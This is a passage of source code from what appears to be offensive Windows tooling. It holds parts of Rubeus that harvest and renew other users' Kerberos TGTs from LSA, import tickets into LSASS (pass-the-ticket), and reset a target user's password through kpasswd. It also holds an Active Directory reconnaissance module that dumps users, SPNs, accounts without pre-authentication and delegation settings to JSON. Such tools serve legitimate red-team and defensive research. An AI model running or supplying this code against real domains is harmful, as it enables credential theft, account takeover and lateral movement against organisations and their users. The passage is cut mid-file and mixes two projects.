| this.runFor = runFor; 32 | } 33 | 34 | public void HarvestTicketGrantingTickets() 35 | { 36 | if (!Helpers.IsHighIntegrity()) 37 | { 38 | Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n"); 39 | return; 40 | } 41 | 42 | // get the current set of TGTs 43 | while (true) 44 | { 45 | // extract out the TGTs (service = krbtgt_ w/ full data, silent enumeration 46 | List sessionCreds = LSA.EnumerateTickets(true, new LUID(), "krbtgt", this.targetUser, null, true, true); 47 | List currentTickets = new List(); 48 | foreach(var sessionCred in sessionCreds) 49 | { 50 | foreach(var ticket in sessionCred.Tickets) 51 | { 52 | currentTickets.Add(ticket.KrbCred); 53 | } 54 | } 55 | 56 | if (renewTickets) { 57 | // "harvest" mode - so don't display new tickets as they come in 58 | AddTicketsToTicketCache(currentTickets, false); 59 | 60 | // check if we're at a new display interval 61 | if(lastDisplay.AddSeconds(this.displayIntervalSeconds) < DateTime.Now.AddSeconds(1)) 62 | { 63 | this.lastDisplay = DateTime.Now; 64 | // refresh/renew everything in the cache and display the working set 65 | RefreshTicketCache(true); 66 | Console.WriteLine("[*] Sleeping until {0} ({1} seconds) for next display\r\n", DateTime.Now.AddSeconds(displayIntervalSeconds), displayIntervalSeconds); 67 | } 68 | else 69 | { 70 | // refresh/renew everything in the cache, but don't display the working set 71 | RefreshTicketCache(); 72 | } 73 | } 74 | else 75 | { 76 | // "monitor" mode - display new ticketson harvest 77 | AddTicketsToTicketCache(currentTickets, true); 78 | } 79 | 80 | if (registryBasePath != null) 81 | { 82 | LSA.SaveTicketsToRegistry(harvesterTicketCache, registryBasePath); 83 | } 84 | 85 | if (runFor > 0) 86 | { 87 | // compares execution start time + time entered to run the harvest for against current time to determine if we should exit 88 | if (collectionStart.AddSeconds(this.runFor) < DateTime.Now) 89 | { 90 | Console.WriteLine("[*] Completed running for {0} seconds, exiting\r\n", runFor); 91 | System.Environment.Exit(0); 92 | } 93 | } 94 | 95 | // If a runFor time is set and the monitoring interval is longer than the time remaining on the run, 96 | // the sleep interval will be adjusted down to however much time left in the run there is. 97 | if (runFor > 0 && collectionStart.AddSeconds(this.runFor) < DateTime.Now.AddSeconds(monitorIntervalSeconds)) 98 | { 99 | TimeSpan t = collectionStart.AddSeconds(this.runFor + 1) - DateTime.Now; 100 | Thread.Sleep((int)t.TotalSeconds * 1000); 101 | } 102 | // else we'll do a normal monitor interval sleep 103 | else 104 | { 105 | Thread.Sleep(monitorIntervalSeconds * 1000); 106 | } 107 | } 108 | } 109 | 110 | private void AddTicketsToTicketCache(List tickets, bool displayNewTickets) 111 | { 112 | // adds a list of KRB_CREDs to the internal cache 113 | // displayNewTickets - display new TGTs as they're added, e.g. "monitor" mode 114 | 115 | bool newTicketsAdded = false; 116 | 117 | if (tickets == null) 118 | throw new ArgumentNullException(nameof(tickets)); 119 | 120 | foreach (var ticket in tickets) 121 | { 122 | var newTgtBytes = Convert.ToBase64String(ticket.RawBytes); 123 | 124 | var ticketInCache = false; 125 | 126 | foreach (var cachedTicket in harvesterTicketCache) 127 | { 128 | // check the base64 of the raw ticket bytes to see if we've seen it before 129 | if (Convert.ToBase64String(cachedTicket.RawBytes) == newTgtBytes) 130 | { 131 | ticketInCache = true; 132 | break; 133 | } 134 | } 135 | 136 | if (ticketInCache) 137 | continue; 138 | 139 | var endTime = TimeZone.CurrentTimeZone.ToLocalTime(ticket.enc_part.ticket_info[0].endtime); 140 | 141 | if (endTime < DateTime.Now) 142 | { 143 | // skip if the ticket is expired 144 | continue; 145 | } 146 | 147 | harvesterTicketCache.Add(ticket); 148 | newTicketsAdded = true; 149 | 150 | if (displayNewTickets) 151 | { 152 | Console.WriteLine($"\r\n[*] {DateTime.Now.ToUniversalTime()} UTC - Found new TGT:\r\n"); 153 | LSA.DisplayTicket(ticket, 2, true, true, false, this.nowrap); 154 | } 155 | } 156 | 157 | if(displayNewTickets && newTicketsAdded) 158 | Console.WriteLine("[*] Ticket cache size: {0}\r\n", harvesterTicketCache.Count); 159 | } 160 | 161 | private void RefreshTicketCache(bool display = false) 162 | { 163 | // goes through each ticket in the cache, removes any tickets that have expired 164 | // and renews any tickets that are going to expire before the next check interval 165 | // then displays the current "active" ticket cache if "display" is passed as true 166 | 167 | if (display) 168 | Console.WriteLine("\r\n[*] Refreshing TGT ticket cache ({0})\r\n", DateTime.Now); 169 | 170 | for (var i = harvesterTicketCache.Count - 1; i >= 0; i--) 171 | { 172 | var endTime = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].endtime); 173 | var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].renew_till); 174 | var userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; 175 | var domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; 176 | 177 | // check if the ticket has now expired 178 | if (endTime < DateTime.Now) 179 | { 180 | Console.WriteLine("[!] Removing TGT for {0}@{1}\r\n", userName, domainName); 181 | // remove the ticket from the cache 182 | Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); 183 | harvesterTicketCache.RemoveAt(i); 184 | Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); 185 | } 186 | 187 | else 188 | { 189 | // check if the ticket is going to expire before the next interval checkin 190 | // but we'll still be in the renew window 191 | if ( (endTime < DateTime.Now.AddSeconds(monitorIntervalSeconds)) && (renewTill > DateTime.Now.AddSeconds(monitorIntervalSeconds)) ) 192 | { 193 | // renewal limit after checkin interval, so renew the TGT 194 | userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; 195 | domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; 196 | 197 | Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domainName); 198 | var bytes = Renew.TGT(harvesterTicketCache[i], "", false, "", false); 199 | var renewedCred = new KRB_CRED(bytes); 200 | harvesterTicketCache[i] = renewedCred; 201 | } 202 | 203 | if (display) 204 | LSA.DisplayTicket(harvesterTicketCache[i], 2, true, true, false, this.nowrap); 205 | } 206 | 207 | } 208 | 209 | if (display) 210 | Console.WriteLine("[*] Ticket cache size: {0}", harvesterTicketCache.Count); 211 | } 212 | 213 | } 214 | } 215 | -------------------------------------------------------------------------------- /lib/Renew.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Linq; 4 | using Asn1; 5 | using Rubeus.lib.Interop; 6 | 7 | 8 | namespace Rubeus 9 | { 10 | public class Renew 11 | { 12 | public static void TGTAutoRenew(KRB_CRED kirbi, string domainController = "", bool display = true) 13 | { 14 | KRB_CRED currentKirbi = kirbi; 15 | 16 | while (true) 17 | { 18 | // extract out the info needed for the TGS-REQ/AP-REQ renewal 19 | string userName = currentKirbi.enc_part.ticket_info[0].pname.name_string[0]; 20 | string domain = currentKirbi.enc_part.ticket_info[0].prealm; 21 | Console.WriteLine("\r\n\r\n[*] User : {0}@{1}", userName, domain); 22 | 23 | DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].endtime); 24 | DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.enc_part.ticket_info[0].renew_till); 25 | Console.WriteLine("[*] endtime : {0}", endTime); 26 | Console.WriteLine("[*] renew-till : {0}", renewTill); 27 | 28 | if (endTime > renewTill) 29 | { 30 | Console.WriteLine("\r\n[*] renew-till window ({0}) has passed.\r\n", renewTill); 31 | return; 32 | } 33 | else 34 | { 35 | double ticks = (endTime - DateTime.Now).Ticks; 36 | if (ticks < 0) 37 | { 38 | Console.WriteLine("\r\n[*] endtime is ({0}) has passed, no renewal possible.\r\n", endTime); 39 | return; 40 | } 41 | 42 | // get the window to sleep until the next endtime for the ticket, -30 minutes for a window 43 | double sleepMinutes = TimeSpan.FromTicks((endTime - DateTime.Now).Ticks).TotalMinutes - 30; 44 | 45 | Console.WriteLine("[*] Sleeping for {0} minutes (endTime-30) before the next renewal", (int)sleepMinutes); 46 | System.Threading.Thread.Sleep((int)sleepMinutes * 60 * 1000); 47 | 48 | Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domain); 49 | byte[] bytes = TGT(currentKirbi, null, false, domainController, true); 50 | currentKirbi = new KRB_CRED(bytes); 51 | } 52 | } 53 | } 54 | 55 | public static byte[] TGT(KRB_CRED kirbi, string outfile = "", bool ptt = false, string domainController = "", bool display = true) 56 | { 57 | // extract out the info needed for the TGS-REQ/AP-REQ renewal 58 | string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; 59 | string domain = kirbi.enc_part.ticket_info[0].prealm; 60 | Ticket ticket = kirbi.tickets[0]; 61 | byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; 62 | Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; 63 | 64 | // request the new TGT renewal 65 | return TGT(userName, domain, ticket, clientKey, etype, outfile, ptt, domainController, display); 66 | } 67 | 68 | public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", bool display = true) 69 | { 70 | string dcIP = Networking.GetDCIP(domainController, display); 71 | if (String.IsNullOrEmpty(dcIP)) { return null; } 72 | 73 | if (display) 74 | { 75 | Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName); 76 | } 77 | 78 | byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, true, ""); 79 | 80 | byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes); 81 | if(response == null) 82 | { 83 | return null; 84 | } 85 | 86 | // decode the supplied bytes to an AsnElt object 87 | // false == ignore trailing garbage 88 | AsnElt responseAsn = AsnElt.Decode(response, false); 89 | 90 | // check the response value 91 | int responseTag = responseAsn.TagValue; 92 | 93 | if (responseTag == 13) 94 | { 95 | Console.WriteLine("[+] TGT renewal request successful!"); 96 | 97 | // parse the response to an TGS-REP 98 | TGS_REP rep = new TGS_REP(responseAsn); 99 | 100 | // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 101 | byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); 102 | AsnElt ae = AsnElt.Decode(outBytes, false); 103 | EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); 104 | 105 | // now build the final KRB-CRED structure 106 | KRB_CRED cred = new KRB_CRED(); 107 | 108 | // add the ticket 109 | cred.tickets.Add(rep.ticket); 110 | 111 | // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart 112 | 113 | KrbCredInfo info = new KrbCredInfo(); 114 | 115 | // [0] add in the session key 116 | info.key.keytype = encRepPart.key.keytype; 117 | info.key.keyvalue = encRepPart.key.keyvalue; 118 | 119 | // [1] prealm (domain) 120 | info.prealm = encRepPart.realm; 121 | 122 | // [2] pname (user) 123 | info.pname.name_type = rep.cname.name_type; 124 | info.pname.name_string = rep.cname.name_string; 125 | 126 | // [3] flags 127 | info.flags = encRepPart.flags; 128 | 129 | // [4] authtime (not required) 130 | 131 | // [5] starttime 132 | info.starttime = encRepPart.starttime; 133 | 134 | // [6] endtime 135 | info.endtime = encRepPart.endtime; 136 | 137 | // [7] renew-till 138 | info.renew_till = encRepPart.renew_till; 139 | 140 | // [8] srealm 141 | info.srealm = encRepPart.realm; 142 | 143 | // [9] sname 144 | info.sname.name_type = encRepPart.sname.name_type; 145 | info.sname.name_string = encRepPart.sname.name_string; 146 | 147 | // add the ticket_info into the cred object 148 | cred.enc_part.ticket_info.Add(info); 149 | 150 | byte[] kirbiBytes = cred.Encode().Encode(); 151 | 152 | string kirbiString = Convert.ToBase64String(kirbiBytes); 153 | 154 | if (display) 155 | { 156 | Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); 157 | if (false) 158 | { 159 | // display the .kirbi base64, columns of 80 chararacters 160 | foreach (string line in Helpers.Split(kirbiString, 80)) 161 | { 162 | Console.WriteLine(" {0}", line); 163 | } 164 | } 165 | else 166 | { 167 | Console.WriteLine(" {0}", kirbiString); 168 | } 169 | } 170 | 171 | if (!String.IsNullOrEmpty(outfile)) 172 | { 173 | outfile = Helpers.MakeValidFileName(outfile); 174 | if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) 175 | { 176 | if (display) 177 | { 178 | Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); 179 | } 180 | } 181 | } 182 | 183 | if (ptt) 184 | { 185 | // pass-the-ticket -> import into LSASS 186 | LSA.ImportTicket(kirbiBytes, new LUID()); 187 | } 188 | return kirbiBytes; 189 | } 190 | else if (responseTag == 30) 191 | { 192 | // parse the response to an KRB-ERROR 193 | KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); 194 | Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); 195 | } 196 | else 197 | { 198 | Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); 199 | } 200 | return null; 201 | } 202 | } 203 | } -------------------------------------------------------------------------------- /lib/Reset.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Text; 6 | using Asn1; 7 | 8 | namespace Rubeus 9 | { 10 | public class Reset 11 | { 12 | [Flags] 13 | enum PasswordProperties { 14 | Complex = 0x1, 15 | NoAnonChange = 0x2, 16 | NoClearChange = 0x4, 17 | LockoutAdmins = 0x8, 18 | StoreCleartext = 0x10, 19 | RefusePasswordChange = 0x20 20 | } 21 | 22 | public static void UserPassword(KRB_CRED kirbi, string newPassword, string domainController = "", string targetUser = null) 23 | { 24 | // implements the Kerberos-based password reset originally disclosed by Aorato 25 | // This function is misc::changepw in Kekeo 26 | // Takes a valid TGT .kirbi and builds a MS Kpasswd password change sequence 27 | // AP-REQ with randomized sub session key 28 | // KRB-PRIV structure containing ChangePasswdData, enc w/ the sub session key 29 | // reference: Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols (RFC3244) 30 | 31 | string dcIP = Networking.GetDCIP(domainController); 32 | if (String.IsNullOrEmpty(dcIP)) { return; } 33 | 34 | // extract the user and domain from the existing .kirbi ticket 35 | string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; 36 | string userDomain = kirbi.enc_part.ticket_info[0].prealm; 37 | 38 | if (targetUser == null) { 39 | Console.WriteLine("[*] Changing password for user: {0}@{1}", userName, userDomain); 40 | } else { 41 | Console.WriteLine("[*] Resetting password for target user: {0}", targetUser); 42 | } 43 | 44 | Console.WriteLine("[*] New password value: {0}", newPassword); 45 | 46 | // build the AP_REQ using the user ticket's keytype and key 47 | Console.WriteLine("[*] Building AP-REQ for the MS Kpassword request"); 48 | AP_REQ ap_req = new AP_REQ(userDomain, userName, kirbi.tickets[0], kirbi.enc_part.ticket_info[0].key.keyvalue, (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR); 49 | 50 | // create a new session subkey for the Authenticator and match the encryption type of the user key 51 | Console.WriteLine("[*] Building Authenticator with encryption key type: {0}", (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype); 52 | ap_req.authenticator.subkey = new EncryptionKey(); 53 | ap_req.authenticator.subkey.keytype = kirbi.enc_part.ticket_info[0].key.keytype; 54 | 55 | // generate a random session subkey 56 | Random random = new Random(); 57 | byte[] randKeyBytes; 58 | Interop.KERB_ETYPE randKeyEtype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; 59 | if (randKeyEtype == Interop.KERB_ETYPE.rc4_hmac) 60 | { 61 | randKeyBytes = new byte[16]; 62 | random.NextBytes(randKeyBytes); 63 | ap_req.authenticator.subkey.keyvalue = randKeyBytes; 64 | } 65 | else if (randKeyEtype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) 66 | { 67 | randKeyBytes = new byte[32]; 68 | random.NextBytes(randKeyBytes); 69 | ap_req.authenticator.subkey.keyvalue = randKeyBytes; 70 | } 71 | else 72 | { 73 | Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); 74 | return; 75 | } 76 | 77 | Console.WriteLine("[*] base64(session subkey): {0}", Convert.ToBase64String(randKeyBytes)); 78 | 79 | // randKeyBytes is now the session key used for the KRB-PRIV structure 80 | 81 | var rand = new Random(); 82 | ap_req.authenticator.seq_number = (UInt32)rand.Next(1, Int32.MaxValue); 83 | 84 | // now build the KRV-PRIV structure 85 | Console.WriteLine("[*] Building the KRV-PRIV structure"); 86 | KRB_PRIV changePriv = new KRB_PRIV(randKeyEtype, randKeyBytes); 87 | 88 | // the new password to set for the user 89 | if (targetUser != null) { 90 | var userParts = targetUser.Split('\\'); 91 | if(userParts.Length != 2) { 92 | Console.WriteLine("[X] /targetuser should be in the format domain.com\\username!"); 93 | return; 94 | } 95 | changePriv.enc_part = new EncKrbPrivPart(userParts[1], userParts[0].ToUpper(), newPassword, "lol"); 96 | } else { 97 | changePriv.enc_part = new EncKrbPrivPart(newPassword, "lol"); 98 | } 99 | 100 | // now build the final MS Kpasswd request 101 | byte[] apReqBytes = ap_req.Encode().Encode(); 102 | byte[] changePrivBytes = changePriv.Encode().Encode(); 103 | 104 | short messageLength = (short)(apReqBytes.Length + changePrivBytes.Length + 6); 105 | short version = -128; 106 | 107 | BinaryWriter bw = new BinaryWriter(new MemoryStream()); 108 | 109 | //Message Length 110 | bw.Write(IPAddress.NetworkToHostOrder(messageLength)); 111 | 112 | // Version (Reply) 113 | bw.Write(IPAddress.NetworkToHostOrder(version)); 114 | 115 | //AP_REQ Length 116 | bw.Write(IPAddress.NetworkToHostOrder((short)apReqBytes.Length)); 117 | 118 | //AP_REQ 119 | bw.Write(apReqBytes); 120 | 121 | //KRV-PRIV 122 | bw.Write(changePrivBytes); 123 | 124 | // KPASSWD_DEFAULT_PORT = 464 125 | byte[] response = Networking.SendBytes(dcIP, 464, ((MemoryStream)bw.BaseStream).ToArray()); 126 | if (response == null) 127 | { 128 | return; 129 | } 130 | 131 | try 132 | { 133 | AsnElt responseAsn = AsnElt.Decode(response, false); 134 | 135 | // check the response value 136 | int responseTag = responseAsn.TagValue; 137 | 138 | if (responseTag == 30) 139 | { 140 | // parse the response to an KRB-ERROR 141 | KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); 142 | Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); 143 | return; 144 | } 145 | } 146 | catch { } 147 | 148 | // otherwise parse the resulting KRB-PRIV from the server 149 | BinaryReader br = new BinaryReader(new MemoryStream(response)); 150 | short respMsgLen = IPAddress.NetworkToHostOrder(br.ReadInt16()); 151 | short respVersion = IPAddress.NetworkToHostOrder(br.ReadInt16()); 152 | short respAPReqLen = IPAddress.NetworkToHostOrder(br.ReadInt16()); 153 | byte[] respAPReq = br.ReadBytes(respAPReqLen); 154 | byte[] respKRBPriv = br.ReadBytes((int)(br.BaseStream.Length - br.BaseStream.Position)); 155 | 156 | // decode the KRB-PRIV response 157 | AsnElt respKRBPrivAsn = AsnElt.Decode(respKRBPriv, false); 158 | 159 | foreach(AsnElt elem in respKRBPrivAsn.Sub[0].Sub) 160 | { 161 | if(elem.TagValue == 3) 162 | { 163 | byte[] encBytes = elem.Sub[0].Sub[1].GetOctetString(); 164 | byte[] decBytes = Crypto.KerberosDecrypt(randKeyEtype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, randKeyBytes, encBytes); 165 | AsnElt decBytesAsn = AsnElt.Decode(decBytes, false); 166 | 167 | byte[] responseCodeBytes = decBytesAsn.Sub[0].Sub[0].Sub[0].GetOctetString(); 168 | 169 | br = new BinaryReader(new MemoryStream(responseCodeBytes)); 170 | short resultCode = IPAddress.NetworkToHostOrder(br.ReadInt16()); 171 | if (resultCode == 0) 172 | { 173 | Console.WriteLine("[+] Password change success!"); 174 | } 175 | else 176 | { 177 | byte[] resultMessage = br.ReadBytes((int)(br.BaseStream.Length - br.BaseStream.Position)); 178 | string resultError = ""; 179 | 180 | if (resultMessage.Length > 2) { 181 | if (resultMessage[0] == 0 && resultMessage[1] == 0) { 182 | br = new BinaryReader(new MemoryStream(resultMessage)); 183 | br.ReadUInt16(); 184 | int minPasswordLen = IPAddress.NetworkToHostOrder(br.ReadInt32()); 185 | int passwordHistory = IPAddress.NetworkToHostOrder(br.ReadInt32()); 186 | PasswordProperties pprops = (PasswordProperties)IPAddress.NetworkToHostOrder((br.ReadInt32())); 187 | TimeSpan expire = TimeSpan.FromTicks(IPAddress.NetworkToHostOrder(br.ReadInt64())); 188 | TimeSpan min_passwordage = TimeSpan.FromTicks(IPAddress.NetworkToHostOrder(br.ReadInt64())); 189 | resultError = $"Policy: \n\tMinimum Length: {minPasswordLen}\n\tPassword History: {passwordHistory}\n\tFlags: {pprops}\n\tExpiry: {expire:%d} day(s)\n\tMinimum Password Age: {min_passwordage:%d} day(s)"; 190 | 191 | } else { 192 | resultError = Encoding.UTF8.GetString(resultMessage); 193 | } 194 | } 195 | 196 | Console.WriteLine("[X] Password change error: {0} {1}", (Interop.KADMIN_PASSWD_ERR)resultCode, resultError); 197 | } 198 | } 199 | } 200 | } 201 | } 202 | } -------------------------------------------------------------------------------- /lib/json/ObjToJson.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using Newtonsoft.Json; 5 | 6 | namespace DomainInfo.lib.json 7 | { 8 | internal class ObjToJson 9 | { 10 | public static string objTojson(SearchResultCollection searchResults) 11 | { 12 | Dictionary> results = new Dictionary>(); 13 | 14 | foreach (SearchResult result in searchResults) 15 | { 16 | List resultvalues = new List(); 17 | string resultname = result.Path; 18 | // Console.WriteLine(resultname); 19 | DirectoryEntry directoryEntry = result.GetDirectoryEntry(); 20 | 21 | Dictionary> properties = new Dictionary>(); 22 | 23 | foreach (string propertyName in directoryEntry.Properties.PropertyNames) 24 | { 25 | PropertyValueCollection propertyValues = directoryEntry.Properties[propertyName]; 26 | List values = new List(); 27 | 28 | for (int i = 0; i < propertyValues.Count; i++) 29 | { 30 | values.Add(propertyValues[i]); 31 | } 32 | properties.Add(propertyName, values); 33 | } 34 | resultvalues.Add(properties); 35 | results.Add(resultname, resultvalues); 36 | } 37 | string Objjson = JsonConvert.SerializeObject(results, Formatting.Indented); 38 | return Objjson; 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /module/DomainInfo/ObjectInfo.cs: -------------------------------------------------------------------------------- 1 | using DomainInfo.lib.json; 2 | using System; 3 | using System.DirectoryServices; 4 | using System.DirectoryServices.ActiveDirectory; 5 | using System.IO; 6 | using System.Security.AccessControl; 7 | using System.Security.Principal; 8 | using System.DirectoryServices.AccountManagement; 9 | using System.Collections.Generic; 10 | 11 | namespace DomainInfo.Module.DomainInfo 12 | { 13 | internal class ObjectInfo 14 | { 15 | public static List GetUsers() 16 | { 17 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 18 | Searcher.Filter = "(&(objectCategory=person)(objectClass=user))"; 19 | SearchResultCollection SearcherResults = Searcher.FindAll(); 20 | 21 | string Usersjson = ObjToJson.objTojson(SearcherResults); 22 | string filePath = "users-output.json"; 23 | File.WriteAllText(filePath, Usersjson); 24 | 25 | // 遍历搜索结果 26 | List UsersList = new List(); 27 | foreach (SearchResult result in SearcherResults) 28 | { 29 | try 30 | { 31 | // 获取用户的属性 32 | var samAccountName = result.Properties["samAccountName"][0]; 33 | var displayName = result.Properties["displayName"][0]; 34 | 35 | // 输出用户信息 36 | // Console.WriteLine($"Username: {samAccountName}, Display Name: {displayName}"); 37 | UsersList.Add(samAccountName); 38 | } 39 | catch 40 | { 41 | var name = result.Properties["cn"][0]; 42 | // Console.WriteLine($"未启用用户名 : {name}"); 43 | } 44 | 45 | } 46 | return UsersList; 47 | } 48 | /* 49 | * 获取域控制器列表 50 | */ 51 | public static void GetDomainCs() 52 | { 53 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 54 | Searcher.Filter = "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"; 55 | SearchResultCollection SearcherResults = Searcher.FindAll(); 56 | string Dcjson = ObjToJson.objTojson(SearcherResults); 57 | 58 | string filePath = "Dcs-output.json"; 59 | File.WriteAllText(filePath, Dcjson); 60 | } 61 | public static void GetComputers() 62 | { 63 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 64 | Searcher.Filter = "(objectCategory=computer)"; 65 | SearchResultCollection SearcherResults = Searcher.FindAll(); 66 | string Computersjson = ObjToJson.objTojson(SearcherResults); 67 | 68 | string filePath = "Computers-output.json"; 69 | File.WriteAllText(filePath, Computersjson); 70 | } 71 | public static void GetGroups() 72 | { 73 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 74 | Searcher.Filter = "(objectCategory=group)"; 75 | SearchResultCollection SearcherResults = Searcher.FindAll(); 76 | string Groupsjson = ObjToJson.objTojson(SearcherResults); 77 | 78 | string filePath = "Groups-output.json"; 79 | File.WriteAllText(filePath, Groupsjson); 80 | } 81 | public static void GetSPNs() 82 | { 83 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 84 | Searcher.Filter = "(&(objectClass=user)(servicePrincipalName=*))"; 85 | SearchResultCollection SearcherResults = Searcher.FindAll(); 86 | string SPNsjson = ObjToJson.objTojson(SearcherResults); 87 | 88 | string filePath = "SPNs-output.json"; 89 | File.WriteAllText(filePath, SPNsjson); 90 | } 91 | public static void GetOUs() 92 | { 93 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 94 | Searcher.Filter = "(objectCategory=organizationalUnit)"; 95 | SearchResultCollection SearcherResults = Searcher.FindAll(); 96 | string OUsjson = ObjToJson.objTojson(SearcherResults); 97 | 98 | string filePath = "OUs-output.json"; 99 | File.WriteAllText(filePath, OUsjson); 100 | } 101 | public static void GetGPOs() 102 | { 103 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 104 | Searcher.Filter = "(objectCategory=organizationalUnit)"; 105 | SearchResultCollection SearcherResults = Searcher.FindAll(); 106 | string GPOsjson = ObjToJson.objTojson(SearcherResults); 107 | 108 | string filePath = "GPOs-output.json"; 109 | File.WriteAllText(filePath, GPOsjson); 110 | } 111 | /* 112 | * 允许委派给服务 113 | */ 114 | public static void GetAllowDelegations() 115 | { 116 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 117 | Searcher.Filter = "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))"; 118 | SearchResultCollection SearcherResults = Searcher.FindAll(); 119 | string AllowDelegationsjson = ObjToJson.objTojson(SearcherResults); 120 | 121 | string filePath = "AllowDelegations-output.json"; 122 | File.WriteAllText(filePath, AllowDelegationsjson); 123 | } 124 | /* 125 | * No pre-authentication 126 | */ 127 | public static void GetNoPreAuths() 128 | { 129 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 130 | Searcher.Filter = "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=16777216))"; 131 | SearchResultCollection SearcherResults = Searcher.FindAll(); 132 | string NoPreAuthsjson = ObjToJson.objTojson(SearcherResults); 133 | 134 | string filePath = "NoPreAuths-output.json"; 135 | File.WriteAllText(filePath, NoPreAuthsjson); 136 | } 137 | /* 138 | * constrained delegation 139 | */ 140 | public static void GetConstrainDelegations() 141 | { 142 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 143 | Searcher.Filter = "(&(objectCategory=user)(msDS-AllowedToDelegateTo=*))"; 144 | SearchResultCollection SearcherResults = Searcher.FindAll(); 145 | string ConstrainDelegationsjson = ObjToJson.objTojson(SearcherResults); 146 | 147 | string filePath = "ConstrainDelegations-output.json"; 148 | File.WriteAllText(filePath, ConstrainDelegationsjson); 149 | } 150 | /* 151 | * 资源属性基于约束委派(RBCD) 152 | */ 153 | public static void GetRPConstrainDelegations() 154 | { 155 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 156 | Searcher.Filter = "(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))"; 157 | SearchResultCollection SearcherResults = Searcher.FindAll(); 158 | string RPConstrainDelegationsjson = ObjToJson.objTojson(SearcherResults); 159 | 160 | string filePath = "RPConstrainDelegations-output.json"; 161 | File.WriteAllText(filePath, RPConstrainDelegationsjson); 162 | } 163 | public static void GetDomainTrusts() 164 | { 165 | Domain currentDomain = Domain.GetCurrentDomain(); 166 | TrustRelationshipInformationCollection trustRelationships = currentDomain.GetAllTrustRelationships(); 167 | foreach (TrustRelationshipInformation trustRelationship in trustRelationships) 168 | { 169 | Console.WriteLine($"Trusted Domain source: {trustRelationship.SourceName}"); 170 | Console.WriteLine($"Trusted Domain TargetName: {trustRelationship.TargetName}"); 171 | Console.WriteLine($"Trust Direction: {trustRelationship.TrustDirection}"); 172 | Console.WriteLine($"Trust Type: {trustRelationship.TrustType}"); 173 | } 174 | } 175 | /* 176 | * ACL list 177 | * 178 | * 您需要将 ldapPath 变量替换为您要查询的 Active Directory 对象的 LDAP 路径。 179 | * 该示例将打印出对象的访问控制列表信息, 180 | * 包括授权的身份(Identity)、权限(Rights)和访问控制类型(Access Type)。 181 | * 182 | * 将 LDAP 路径替换为您要查询的 Active Directory 对象的路径 183 | * string ldapPath = 